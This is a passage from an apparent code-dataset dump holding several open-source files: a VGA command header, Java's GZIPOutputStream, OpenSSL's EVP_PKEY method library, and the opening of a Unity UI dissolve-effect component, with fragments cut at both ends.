<code>createConfiguration()</code>.\r\n\t * @param config the current Configuration object\r\n\t * @throws IOException if a config file wasn't found\r\n\t * @throws TemplateException on FreeMarker initialization failure\r\n\t * @see #createConfiguration()\r\n\t */\r\n\tprotected void postProcessConfiguration(Configuration config) throws IOException, TemplateException {\r\n\t}\r\n\r\n}\r\n"} {"text": "/*\n MIT License\n\n Copyright (c) 2018, Alexey Dynda\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n*/\n/**\n * @file vga_commands.h VGA library commands definitions\n */\n\n#ifndef _VGA_COMMANDS_H_\n#define _VGA_COMMANDS_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n/** VGA driver commands */\nenum EVgaCommands\n{\n /**\n * VGA_SET_BLOCK command sets rectangle in VGA ram to send pixels to.\n * The command needs 4 byte-arguments:\n * left boundary in pixels,\n * right boundary in pixels,\n * top boundary in pixels,\n * bottom boundary in pixels, (last arg in not implemented yet)\n */\n VGA_SET_BLOCK = 0x01,\n\n /**\n * VGA_SET_MODE command sets memory addressing mode: there are 2 modes\n * available: 0 - normal addressing mode, 1 - ssd1306 compatible mode.\n * After sending each pixel in normal addressing mode, x position shifts\n * right by 1 pixel until end of block is reached, then y position shifts\n * down by 1 pixel, and x position move to the start of block.\n * After sending each pixel in ssd1306 compatible mode, y position shifts\n * down by 1 pixel until 8 vertical pixels are printed, then y position changes\n * to top of block, and x position shifts right by 1 pixel.\n */\n VGA_SET_MODE = 0x02,\n\n VGA_SET_RESOLUTION = 0x03,\n\n VGA_DISPLAY_ON = 0x04,\n};\n\n#ifdef __cplusplus\n}\n#endif\n\n// ----------------------------------------------------------------------------\n#endif\n"} {"text": "/*\n * Copyright (c) 1996, 2019, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation. Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\npackage java.util.zip;\n\nimport java.io.OutputStream;\nimport java.io.IOException;\n\n/**\n * This class implements a stream filter for writing compressed data in\n * the GZIP file format.\n * @author David Connelly\n * @since 1.1\n *\n */\npublic class GZIPOutputStream extends DeflaterOutputStream {\n /**\n * CRC-32 of uncompressed data.\n */\n protected CRC32 crc = new CRC32();\n\n /*\n * GZIP header magic number.\n */\n private static final int GZIP_MAGIC = 0x8b1f;\n\n /*\n * Trailer size in bytes.\n *\n */\n private static final int TRAILER_SIZE = 8;\n\n /**\n * Creates a new output stream with the specified buffer size.\n *\n * <p>The new output stream instance is created as if by invoking\n * the 3-argument constructor GZIPOutputStream(out, size, false).\n *\n * @param out the output stream\n * @param size the output buffer size\n * @throws IOException If an I/O error has occurred.\n * @throws IllegalArgumentException if {@code size <= 0}\n */\n public GZIPOutputStream(OutputStream out, int size) throws IOException {\n this(out, size, false);\n }\n\n /**\n * Creates a new output stream with the specified buffer size and\n * flush mode.\n *\n * @param out the output stream\n * @param size the output buffer size\n * @param syncFlush\n * if {@code true} invocation of the inherited\n * {@link DeflaterOutputStream#flush() flush()} method of\n * this instance flushes the compressor with flush mode\n * {@link Deflater#SYNC_FLUSH} before flushing the output\n * stream, otherwise only flushes the output stream\n * @throws IOException If an I/O error has occurred.\n * @throws IllegalArgumentException if {@code size <= 0}\n *\n * @since 1.7\n */\n public GZIPOutputStream(OutputStream out, int size, boolean syncFlush)\n throws IOException\n {\n super(out, new Deflater(Deflater.DEFAULT_COMPRESSION, true),\n size,\n syncFlush);\n usesDefaultDeflater = true;\n writeHeader();\n crc.reset();\n }\n\n\n /**\n * Creates a new output stream with a default buffer size.\n *\n * <p>The new output stream instance is created as if by invoking\n * the 2-argument constructor GZIPOutputStream(out, false).\n *\n * @param out the output stream\n * @throws IOException If an I/O error has occurred.\n */\n public GZIPOutputStream(OutputStream out) throws IOException {\n this(out, 512, false);\n }\n\n /**\n * Creates a new output stream with a default buffer size and\n * the specified flush mode.\n *\n * @param out the output stream\n * @param syncFlush\n * if {@code true} invocation of the inherited\n * {@link DeflaterOutputStream#flush() flush()} method of\n * this instance flushes the compressor with flush mode\n * {@link Deflater#SYNC_FLUSH} before flushing the output\n * stream, otherwise only flushes the output stream\n *\n * @throws IOException If an I/O error has occurred.\n *\n * @since 1.7\n */\n public GZIPOutputStream(OutputStream out, boolean syncFlush)\n throws IOException\n {\n this(out, 512, syncFlush);\n }\n\n /**\n * Writes array of bytes to the compressed output stream. This method\n * will block until all the bytes are written.\n * @param buf the data to be written\n * @param off the start offset of the data\n * @param len the length of the data\n * @throws IOException If an I/O error has occurred.\n */\n public synchronized void write(byte[] buf, int off, int len)\n throws IOException\n {\n super.write(buf, off, len);\n crc.update(buf, off, len);\n }\n\n /**\n * Finishes writing compressed data to the output stream without closing\n * the underlying stream. Use this method when applying multiple filters\n * in succession to the same output stream.\n * @throws IOException if an I/O error has occurred\n */\n public void finish() throws IOException {\n if (!def.finished()) {\n def.finish();\n while (!def.finished()) {\n int len = def.deflate(buf, 0, buf.length);\n if (def.finished() && len <= buf.length - TRAILER_SIZE) {\n // last deflater buffer. Fit trailer at the end\n writeTrailer(buf, len);\n len = len + TRAILER_SIZE;\n out.write(buf, 0, len);\n return;\n }\n if (len > 0)\n out.write(buf, 0, len);\n }\n // if we can't fit the trailer at the end of the last\n // deflater buffer, we write it separately\n byte[] trailer = new byte[TRAILER_SIZE];\n writeTrailer(trailer, 0);\n out.write(trailer);\n }\n }\n\n /*\n * Writes GZIP member header.\n */\n private void writeHeader() throws IOException {\n out.write(new byte[] {\n (byte) GZIP_MAGIC, // Magic number (short)\n (byte)(GZIP_MAGIC >> 8), // Magic number (short)\n Deflater.DEFLATED, // Compression method (CM)\n 0, // Flags (FLG)\n 0, // Modification time MTIME (int)\n 0, // Modification time MTIME (int)\n 0, // Modification time MTIME (int)\n 0, // Modification time MTIME (int)\n 0, // Extra flags (XFLG)\n 0 // Operating system (OS)\n });\n }\n\n /*\n * Writes GZIP member trailer to a byte array, starting at a given\n * offset.\n */\n private void writeTrailer(byte[] buf, int offset) throws IOException {\n writeInt((int)crc.getValue(), buf, offset); // CRC-32 of uncompr. data\n writeInt(def.getTotalIn(), buf, offset + 4); // Number of uncompr. bytes\n }\n\n /*\n * Writes integer in Intel byte order to a byte array, starting at a\n * given offset.\n */\n private void writeInt(int i, byte[] buf, int offset) throws IOException {\n writeShort(i & 0xffff, buf, offset);\n writeShort((i >> 16) & 0xffff, buf, offset + 2);\n }\n\n /*\n * Writes short integer in Intel byte order to a byte array, starting\n * at a given offset\n */\n private void writeShort(int s, byte[] buf, int offset) throws IOException {\n buf[offset] = (byte)(s & 0xff);\n buf[offset + 1] = (byte)((s >> 8) & 0xff);\n }\n}\n"} {"text": "/* pmeth_lib.c */\n/*\n * Written by Dr Stephen N Henson (steve@openssl.org) for the OpenSSL project\n * 2006.\n */\n/* ====================================================================\n * Copyright (c) 2006 The OpenSSL Project. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and/or other materials provided with the\n * distribution.\n *\n * 3. All advertising materials mentioning features or use of this\n * software must display the following acknowledgment:\n * \"This product includes software developed by the OpenSSL Project\n * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)\"\n *\n * 4. The names \"OpenSSL Toolkit\" and \"OpenSSL Project\" must not be used to\n * endorse or promote products derived from this software without\n * prior written permission. For written permission, please contact\n * licensing@OpenSSL.org.\n *\n * 5. Products derived from this software may not be called \"OpenSSL\"\n * nor may \"OpenSSL\" appear in their names without prior written\n * permission of the OpenSSL Project.\n *\n * 6. Redistributions of any form whatsoever must retain the following\n * acknowledgment:\n * \"This product includes software developed by the OpenSSL Project\n * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)\"\n *\n * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY\n * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n * ====================================================================\n *\n * This product includes cryptographic software written by Eric Young\n * (eay@cryptsoft.com). This product includes software written by Tim\n * Hudson (tjh@cryptsoft.com).\n *\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include \"cryptlib.h\"\n#include <openssl/objects.h>\n#include <openssl/evp.h>\n#ifndef OPENSSL_NO_ENGINE\n# include <openssl/engine.h>\n#endif\n#include \"asn1_locl.h\"\n#include \"evp_locl.h\"\n\ntypedef int sk_cmp_fn_type(const char *const *a, const char *const *b);\n\nDECLARE_STACK_OF(EVP_PKEY_METHOD)\nSTACK_OF(EVP_PKEY_METHOD) *app_pkey_methods = NULL;\n\nextern const EVP_PKEY_METHOD rsa_pkey_meth, dh_pkey_meth, dsa_pkey_meth;\nextern const EVP_PKEY_METHOD ec_pkey_meth, hmac_pkey_meth, cmac_pkey_meth;\nextern const EVP_PKEY_METHOD dhx_pkey_meth;\n\nstatic const EVP_PKEY_METHOD *standard_methods[] = {\n#ifndef OPENSSL_NO_RSA\n &rsa_pkey_meth,\n#endif\n#ifndef OPENSSL_NO_DH\n &dh_pkey_meth,\n#endif\n#ifndef OPENSSL_NO_DSA\n &dsa_pkey_meth,\n#endif\n#ifndef OPENSSL_NO_EC\n &ec_pkey_meth,\n#endif\n &hmac_pkey_meth,\n &cmac_pkey_meth,\n#ifndef OPENSSL_NO_DH\n &dhx_pkey_meth\n#endif\n};\n\nDECLARE_OBJ_BSEARCH_CMP_FN(const EVP_PKEY_METHOD *, const EVP_PKEY_METHOD *,\n pmeth);\n\nstatic int pmeth_cmp(const EVP_PKEY_METHOD *const *a,\n const EVP_PKEY_METHOD *const *b)\n{\n return ((*a)->pkey_id - (*b)->pkey_id);\n}\n\nIMPLEMENT_OBJ_BSEARCH_CMP_FN(const EVP_PKEY_METHOD *, const EVP_PKEY_METHOD *,\n pmeth);\n\nconst EVP_PKEY_METHOD *EVP_PKEY_meth_find(int type)\n{\n EVP_PKEY_METHOD tmp;\n const EVP_PKEY_METHOD *t = &tmp, **ret;\n tmp.pkey_id = type;\n if (app_pkey_methods) {\n int idx;\n idx = sk_EVP_PKEY_METHOD_find(app_pkey_methods, &tmp);\n if (idx >= 0)\n return sk_EVP_PKEY_METHOD_value(app_pkey_methods, idx);\n }\n ret = OBJ_bsearch_pmeth(&t, standard_methods,\n sizeof(standard_methods) /\n sizeof(EVP_PKEY_METHOD *));\n if (!ret || !*ret)\n return NULL;\n return *ret;\n}\n\nstatic EVP_PKEY_CTX *int_ctx_new(EVP_PKEY *pkey, ENGINE *e, int id)\n{\n EVP_PKEY_CTX *ret;\n const EVP_PKEY_METHOD *pmeth;\n if (id == -1) {\n if (!pkey || !pkey->ameth)\n return NULL;\n id = pkey->ameth->pkey_id;\n }\n#ifndef OPENSSL_NO_ENGINE\n if (pkey && pkey->engine)\n e = pkey->engine;\n /* Try to find an ENGINE which implements this method */\n if (e) {\n if (!ENGINE_init(e)) {\n EVPerr(EVP_F_INT_CTX_NEW, ERR_R_ENGINE_LIB);\n return NULL;\n }\n } else\n e = ENGINE_get_pkey_meth_engine(id);\n\n /*\n * If an ENGINE handled this method look it up. Othewise use internal\n * tables.\n */\n\n if (e)\n pmeth = ENGINE_get_pkey_meth(e, id);\n else\n#endif\n pmeth = EVP_PKEY_meth_find(id);\n\n if (pmeth == NULL) {\n EVPerr(EVP_F_INT_CTX_NEW, EVP_R_UNSUPPORTED_ALGORITHM);\n return NULL;\n }\n\n ret = OPENSSL_malloc(sizeof(EVP_PKEY_CTX));\n if (!ret) {\n#ifndef OPENSSL_NO_ENGINE\n if (e)\n ENGINE_finish(e);\n#endif\n EVPerr(EVP_F_INT_CTX_NEW, ERR_R_MALLOC_FAILURE);\n return NULL;\n }\n ret->engine = e;\n ret->pmeth = pmeth;\n ret->operation = EVP_PKEY_OP_UNDEFINED;\n ret->pkey = pkey;\n ret->peerkey = NULL;\n ret->pkey_gencb = 0;\n if (pkey)\n CRYPTO_add(&pkey->references, 1, CRYPTO_LOCK_EVP_PKEY);\n ret->data = NULL;\n\n if (pmeth->init) {\n if (pmeth->init(ret) <= 0) {\n EVP_PKEY_CTX_free(ret);\n return NULL;\n }\n }\n\n return ret;\n}\n\nEVP_PKEY_METHOD *EVP_PKEY_meth_new(int id, int flags)\n{\n EVP_PKEY_METHOD *pmeth;\n pmeth = OPENSSL_malloc(sizeof(EVP_PKEY_METHOD));\n if (!pmeth)\n return NULL;\n\n memset(pmeth, 0, sizeof(EVP_PKEY_METHOD));\n\n pmeth->pkey_id = id;\n pmeth->flags = flags | EVP_PKEY_FLAG_DYNAMIC;\n\n pmeth->init = 0;\n pmeth->copy = 0;\n pmeth->cleanup = 0;\n pmeth->paramgen_init = 0;\n pmeth->paramgen = 0;\n pmeth->keygen_init = 0;\n pmeth->keygen = 0;\n pmeth->sign_init = 0;\n pmeth->sign = 0;\n pmeth->verify_init = 0;\n pmeth->verify = 0;\n pmeth->verify_recover_init = 0;\n pmeth->verify_recover = 0;\n pmeth->signctx_init = 0;\n pmeth->signctx = 0;\n pmeth->verifyctx_init = 0;\n pmeth->verifyctx = 0;\n pmeth->encrypt_init = 0;\n pmeth->encrypt = 0;\n pmeth->decrypt_init = 0;\n pmeth->decrypt = 0;\n pmeth->derive_init = 0;\n pmeth->derive = 0;\n pmeth->ctrl = 0;\n pmeth->ctrl_str = 0;\n\n return pmeth;\n}\n\nvoid EVP_PKEY_meth_get0_info(int *ppkey_id, int *pflags,\n const EVP_PKEY_METHOD *meth)\n{\n if (ppkey_id)\n *ppkey_id = meth->pkey_id;\n if (pflags)\n *pflags = meth->flags;\n}\n\nvoid EVP_PKEY_meth_copy(EVP_PKEY_METHOD *dst, const EVP_PKEY_METHOD *src)\n{\n\n dst->init = src->init;\n dst->copy = src->copy;\n dst->cleanup = src->cleanup;\n\n dst->paramgen_init = src->paramgen_init;\n dst->paramgen = src->paramgen;\n\n dst->keygen_init = src->keygen_init;\n dst->keygen = src->keygen;\n\n dst->sign_init = src->sign_init;\n dst->sign = src->sign;\n\n dst->verify_init = src->verify_init;\n dst->verify = src->verify;\n\n dst->verify_recover_init = src->verify_recover_init;\n dst->verify_recover = src->verify_recover;\n\n dst->signctx_init = src->signctx_init;\n dst->signctx = src->signctx;\n\n dst->verifyctx_init = src->verifyctx_init;\n dst->verifyctx = src->verifyctx;\n\n dst->encrypt_init = src->encrypt_init;\n dst->encrypt = src->encrypt;\n\n dst->decrypt_init = src->decrypt_init;\n dst->decrypt = src->decrypt;\n\n dst->derive_init = src->derive_init;\n dst->derive = src->derive;\n\n dst->ctrl = src->ctrl;\n dst->ctrl_str = src->ctrl_str;\n}\n\nvoid EVP_PKEY_meth_free(EVP_PKEY_METHOD *pmeth)\n{\n if (pmeth && (pmeth->flags & EVP_PKEY_FLAG_DYNAMIC))\n OPENSSL_free(pmeth);\n}\n\nEVP_PKEY_CTX *EVP_PKEY_CTX_new(EVP_PKEY *pkey, ENGINE *e)\n{\n return int_ctx_new(pkey, e, -1);\n}\n\nEVP_PKEY_CTX *EVP_PKEY_CTX_new_id(int id, ENGINE *e)\n{\n return int_ctx_new(NULL, e, id);\n}\n\nEVP_PKEY_CTX *EVP_PKEY_CTX_dup(EVP_PKEY_CTX *pctx)\n{\n EVP_PKEY_CTX *rctx;\n if (!pctx->pmeth || !pctx->pmeth->copy)\n return NULL;\n#ifndef OPENSSL_NO_ENGINE\n /* Make sure it's safe to copy a pkey context using an ENGINE */\n if (pctx->engine && !ENGINE_init(pctx->engine)) {\n EVPerr(EVP_F_EVP_PKEY_CTX_DUP, ERR_R_ENGINE_LIB);\n return 0;\n }\n#endif\n rctx = OPENSSL_malloc(sizeof(EVP_PKEY_CTX));\n if (!rctx)\n return NULL;\n\n rctx->pmeth = pctx->pmeth;\n#ifndef OPENSSL_NO_ENGINE\n rctx->engine = pctx->engine;\n#endif\n\n if (pctx->pkey)\n CRYPTO_add(&pctx->pkey->references, 1, CRYPTO_LOCK_EVP_PKEY);\n\n rctx->pkey = pctx->pkey;\n\n if (pctx->peerkey)\n CRYPTO_add(&pctx->peerkey->references, 1, CRYPTO_LOCK_EVP_PKEY);\n\n rctx->peerkey = pctx->peerkey;\n\n rctx->data = NULL;\n rctx->app_data = NULL;\n rctx->operation = pctx->operation;\n\n if (pctx->pmeth->copy(rctx, pctx) > 0)\n return rctx;\n\n EVP_PKEY_CTX_free(rctx);\n return NULL;\n\n}\n\nint EVP_PKEY_meth_add0(const EVP_PKEY_METHOD *pmeth)\n{\n if (app_pkey_methods == NULL) {\n app_pkey_methods = sk_EVP_PKEY_METHOD_new(pmeth_cmp);\n if (!app_pkey_methods)\n return 0;\n }\n if (!sk_EVP_PKEY_METHOD_push(app_pkey_methods, pmeth))\n return 0;\n sk_EVP_PKEY_METHOD_sort(app_pkey_methods);\n return 1;\n}\n\nvoid EVP_PKEY_CTX_free(EVP_PKEY_CTX *ctx)\n{\n if (ctx == NULL)\n return;\n if (ctx->pmeth && ctx->pmeth->cleanup)\n ctx->pmeth->cleanup(ctx);\n if (ctx->pkey)\n EVP_PKEY_free(ctx->pkey);\n if (ctx->peerkey)\n EVP_PKEY_free(ctx->peerkey);\n#ifndef OPENSSL_NO_ENGINE\n if (ctx->engine)\n /*\n * The EVP_PKEY_CTX we used belongs to an ENGINE, release the\n * functional reference we held for this reason.\n */\n ENGINE_finish(ctx->engine);\n#endif\n OPENSSL_free(ctx);\n}\n\nint EVP_PKEY_CTX_ctrl(EVP_PKEY_CTX *ctx, int keytype, int optype,\n int cmd, int p1, void *p2)\n{\n int ret;\n if (!ctx || !ctx->pmeth || !ctx->pmeth->ctrl) {\n EVPerr(EVP_F_EVP_PKEY_CTX_CTRL, EVP_R_COMMAND_NOT_SUPPORTED);\n return -2;\n }\n if ((keytype != -1) && (ctx->pmeth->pkey_id != keytype))\n return -1;\n\n if (ctx->operation == EVP_PKEY_OP_UNDEFINED) {\n EVPerr(EVP_F_EVP_PKEY_CTX_CTRL, EVP_R_NO_OPERATION_SET);\n return -1;\n }\n\n if ((optype != -1) && !(ctx->operation & optype)) {\n EVPerr(EVP_F_EVP_PKEY_CTX_CTRL, EVP_R_INVALID_OPERATION);\n return -1;\n }\n\n ret = ctx->pmeth->ctrl(ctx, cmd, p1, p2);\n\n if (ret == -2)\n EVPerr(EVP_F_EVP_PKEY_CTX_CTRL, EVP_R_COMMAND_NOT_SUPPORTED);\n\n return ret;\n\n}\n\nint EVP_PKEY_CTX_ctrl_str(EVP_PKEY_CTX *ctx,\n const char *name, const char *value)\n{\n if (!ctx || !ctx->pmeth || !ctx->pmeth->ctrl_str) {\n EVPerr(EVP_F_EVP_PKEY_CTX_CTRL_STR, EVP_R_COMMAND_NOT_SUPPORTED);\n return -2;\n }\n if (!strcmp(name, \"digest\")) {\n const EVP_MD *md;\n if (!value || !(md = EVP_get_digestbyname(value))) {\n EVPerr(EVP_F_EVP_PKEY_CTX_CTRL_STR, EVP_R_INVALID_DIGEST);\n return 0;\n }\n return EVP_PKEY_CTX_set_signature_md(ctx, md);\n }\n return ctx->pmeth->ctrl_str(ctx, name, value);\n}\n\nint EVP_PKEY_CTX_get_operation(EVP_PKEY_CTX *ctx)\n{\n return ctx->operation;\n}\n\nvoid EVP_PKEY_CTX_set0_keygen_info(EVP_PKEY_CTX *ctx, int *dat, int datlen)\n{\n ctx->keygen_info = dat;\n ctx->keygen_info_count = datlen;\n}\n\nvoid EVP_PKEY_CTX_set_data(EVP_PKEY_CTX *ctx, void *data)\n{\n ctx->data = data;\n}\n\nvoid *EVP_PKEY_CTX_get_data(EVP_PKEY_CTX *ctx)\n{\n return ctx->data;\n}\n\nEVP_PKEY *EVP_PKEY_CTX_get0_pkey(EVP_PKEY_CTX *ctx)\n{\n return ctx->pkey;\n}\n\nEVP_PKEY *EVP_PKEY_CTX_get0_peerkey(EVP_PKEY_CTX *ctx)\n{\n return ctx->peerkey;\n}\n\nvoid EVP_PKEY_CTX_set_app_data(EVP_PKEY_CTX *ctx, void *data)\n{\n ctx->app_data = data;\n}\n\nvoid *EVP_PKEY_CTX_get_app_data(EVP_PKEY_CTX *ctx)\n{\n return ctx->app_data;\n}\n\nvoid EVP_PKEY_meth_set_init(EVP_PKEY_METHOD *pmeth,\n int (*init) (EVP_PKEY_CTX *ctx))\n{\n pmeth->init = init;\n}\n\nvoid EVP_PKEY_meth_set_copy(EVP_PKEY_METHOD *pmeth,\n int (*copy) (EVP_PKEY_CTX *dst,\n EVP_PKEY_CTX *src))\n{\n pmeth->copy = copy;\n}\n\nvoid EVP_PKEY_meth_set_cleanup(EVP_PKEY_METHOD *pmeth,\n void (*cleanup) (EVP_PKEY_CTX *ctx))\n{\n pmeth->cleanup = cleanup;\n}\n\nvoid EVP_PKEY_meth_set_paramgen(EVP_PKEY_METHOD *pmeth,\n int (*paramgen_init) (EVP_PKEY_CTX *ctx),\n int (*paramgen) (EVP_PKEY_CTX *ctx,\n EVP_PKEY *pkey))\n{\n pmeth->paramgen_init = paramgen_init;\n pmeth->paramgen = paramgen;\n}\n\nvoid EVP_PKEY_meth_set_keygen(EVP_PKEY_METHOD *pmeth,\n int (*keygen_init) (EVP_PKEY_CTX *ctx),\n int (*keygen) (EVP_PKEY_CTX *ctx,\n EVP_PKEY *pkey))\n{\n pmeth->keygen_init = keygen_init;\n pmeth->keygen = keygen;\n}\n\nvoid EVP_PKEY_meth_set_sign(EVP_PKEY_METHOD *pmeth,\n int (*sign_init) (EVP_PKEY_CTX *ctx),\n int (*sign) (EVP_PKEY_CTX *ctx,\n unsigned char *sig, size_t *siglen,\n const unsigned char *tbs,\n size_t tbslen))\n{\n pmeth->sign_init = sign_init;\n pmeth->sign = sign;\n}\n\nvoid EVP_PKEY_meth_set_verify(EVP_PKEY_METHOD *pmeth,\n int (*verify_init) (EVP_PKEY_CTX *ctx),\n int (*verify) (EVP_PKEY_CTX *ctx,\n const unsigned char *sig,\n size_t siglen,\n const unsigned char *tbs,\n size_t tbslen))\n{\n pmeth->verify_init = verify_init;\n pmeth->verify = verify;\n}\n\nvoid EVP_PKEY_meth_set_verify_recover(EVP_PKEY_METHOD *pmeth,\n int (*verify_recover_init) (EVP_PKEY_CTX\n *ctx),\n int (*verify_recover) (EVP_PKEY_CTX\n *ctx,\n unsigned char\n *sig,\n size_t *siglen,\n const unsigned\n char *tbs,\n size_t tbslen))\n{\n pmeth->verify_recover_init = verify_recover_init;\n pmeth->verify_recover = verify_recover;\n}\n\nvoid EVP_PKEY_meth_set_signctx(EVP_PKEY_METHOD *pmeth,\n int (*signctx_init) (EVP_PKEY_CTX *ctx,\n EVP_MD_CTX *mctx),\n int (*signctx) (EVP_PKEY_CTX *ctx,\n unsigned char *sig,\n size_t *siglen,\n EVP_MD_CTX *mctx))\n{\n pmeth->signctx_init = signctx_init;\n pmeth->signctx = signctx;\n}\n\nvoid EVP_PKEY_meth_set_verifyctx(EVP_PKEY_METHOD *pmeth,\n int (*verifyctx_init) (EVP_PKEY_CTX *ctx,\n EVP_MD_CTX *mctx),\n int (*verifyctx) (EVP_PKEY_CTX *ctx,\n const unsigned char *sig,\n int siglen,\n EVP_MD_CTX *mctx))\n{\n pmeth->verifyctx_init = verifyctx_init;\n pmeth->verifyctx = verifyctx;\n}\n\nvoid EVP_PKEY_meth_set_encrypt(EVP_PKEY_METHOD *pmeth,\n int (*encrypt_init) (EVP_PKEY_CTX *ctx),\n int (*encryptfn) (EVP_PKEY_CTX *ctx,\n unsigned char *out,\n size_t *outlen,\n const unsigned char *in,\n size_t inlen))\n{\n pmeth->encrypt_init = encrypt_init;\n pmeth->encrypt = encryptfn;\n}\n\nvoid EVP_PKEY_meth_set_decrypt(EVP_PKEY_METHOD *pmeth,\n int (*decrypt_init) (EVP_PKEY_CTX *ctx),\n int (*decrypt) (EVP_PKEY_CTX *ctx,\n unsigned char *out,\n size_t *outlen,\n const unsigned char *in,\n size_t inlen))\n{\n pmeth->decrypt_init = decrypt_init;\n pmeth->decrypt = decrypt;\n}\n\nvoid EVP_PKEY_meth_set_derive(EVP_PKEY_METHOD *pmeth,\n int (*derive_init) (EVP_PKEY_CTX *ctx),\n int (*derive) (EVP_PKEY_CTX *ctx,\n unsigned char *key,\n size_t *keylen))\n{\n pmeth->derive_init = derive_init;\n pmeth->derive = derive;\n}\n\nvoid EVP_PKEY_meth_set_ctrl(EVP_PKEY_METHOD *pmeth,\n int (*ctrl) (EVP_PKEY_CTX *ctx, int type, int p1,\n void *p2),\n int (*ctrl_str) (EVP_PKEY_CTX *ctx,\n const char *type,\n const char *value))\n{\n pmeth->ctrl = ctrl;\n pmeth->ctrl_str = ctrl_str;\n}\n"} {"text": "using System;\nusing UnityEngine;\nusing UnityEditor;\nusing UnityEngine.UI;\nusing UnityEngine.Serialization;\nusing System.Text;\nusing System.Linq;\nusing System.IO;\n\nnamespace Coffee.UIEffects\n{\n /// <summary>\n /// Dissolve effect for uGUI.\n /// </summary>\n [AddComponentMenu(\"UI/UIEffects/UIDissolve\", 3)]\n public class UIDissolve : BaseMaterialEffect, IMaterialModifier\n {\n private const uint k_ShaderId = 0 << 3;\n private static readonly ParameterTexture s_ParamTex = new ParameterTexture(8, 128, \"_ParamTex\");\n private static readonly int k_TransitionTexId = Shader.PropertyToID(\"_TransitionTex\");\n\n private bool _lastKeepAspectRatio;\n private EffectArea _lastEffectArea;\n private static Texture _defaultTransitionTexture;\n\n [Tooltip(\"Current location[0-1] for dissolve effect. 0 is not dissolved, 1 is completely dissolved.\")]\n [FormerlySerializedAs(\"m_Location\")]\n [SerializeField]\n [Range(0, 1)]\n float m_EffectFactor = 0.5f;\n\n [Tooltip(\"Edge width.\")] [SerializeField] [Range(0, 1)]\n float m_Width = 0.5f;\n\n [Tooltip(\"Edge softness.\")] [SerializeField] [Range(0, 1)]\n float m_Softness = 0.5f;\n\n [Tooltip(\"Edge color.\")] [SerializeField] [ColorUsage(false)]\n Color m_Color = new Color(0.0f, 0.25f, 1.0f);\n\n [Tooltip(\"Edge color effect mode.\")] [SerializeField]\n ColorMode m_ColorMode = ColorMode.Add;\n\n [Tooltip(\"Noise texture for dissolving (single channel texture).\")]\n [SerializeField]\n [FormerlySerializedAs(\"m_NoiseTexture\")]\n Texture m_TransitionTexture;\n\n [Header(\"Advanced Option\")] [Tooltip(\"The area for effect.\")] [SerializeField]\n protected EffectArea m_EffectArea;\n\n [Tooltip(\"Keep effect aspect ratio.\")] [SerializeField]\n bool m_KeepAspectRatio;\n\n [Header(\"Effect Player\")] [SerializeField]\n EffectPlayer m_Player;\n\n [Tooltip(\"Reverse the dissolve effect.\")] [FormerlySerializedAs(\"m_ReverseAnimation\")] [SerializeField]\n bool m_Reverse = false;\n\n /// <summary>\n /// Effect factor between 0(start) and 1(end).\n /// </summary>\n public float effectFactor\n {\n get { return m_EffectFactor; }\n set\n {\n value = Mathf.Clamp(value, 0, 1);\n if (Mathf.Approximately(m_EffectFactor, value)) return;\n m_EffectFactor = value;\n 